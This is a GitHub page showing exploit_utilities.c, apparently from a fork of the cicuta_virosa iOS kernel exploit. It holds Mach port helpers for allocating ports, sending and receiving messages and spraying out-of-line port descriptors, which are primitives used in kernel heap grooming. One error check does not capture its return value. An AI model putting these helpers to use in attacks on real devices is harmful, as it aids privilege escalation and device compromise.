forked from ModernPwner/cicuta_virosa
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit_utilities.c
107 lines (84 loc) · 3.52 KB
/
exploit_utilities.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdlib.h>
#include "exploit_utilities.h"
#include "cicuta_log.h"
mach_port_t new_mach_port() {
mach_port_t port = MACH_PORT_NULL;
kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (ret) {
cicuta_log("[-] failed to allocate port.");
return MACH_PORT_NULL;
}
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (ret) {
cicuta_log("[-] failed to insert right.");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
if (ret) {
cicuta_log("[-] failed to increase queue limit.");
mach_port_destroy(mach_task_self(), port);
return MACH_PORT_NULL;
}
return port;
}
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
msg->hdr.msgh_remote_port = destination;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = msg_size;
memcpy(&msg->buf[0], buffer, size);
kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
cicuta_log("[-] failed to send message.");
mach_port_destroy(mach_task_self(), destination);
free(msg);
return ret;
}
free(msg);
return KERN_SUCCESS;
}
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
struct simple_msg *msg = malloc(msg_size);
memset(msg, 0, sizeof(struct simple_msg));
kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (ret) {
cicuta_log("[-] failed to receive message: 0x%x (%s).", ret, mach_error_string(ret));
return NULL;
}
return msg;
}
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int disposition) {
kern_return_t ret;
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
for (int i = 0; i < count; i++) {
ports[i] = target_port;
}
struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
msg->hdr.msgh_remote_port = where;
msg->hdr.msgh_local_port = MACH_PORT_NULL;
msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
free(msg);
free(ports);
if (ret) {
cicuta_log("[-] Failed to send OOL message: 0x%x (%s).", ret, mach_error_string(ret));
return KERN_FAILURE;
}
return 0;
}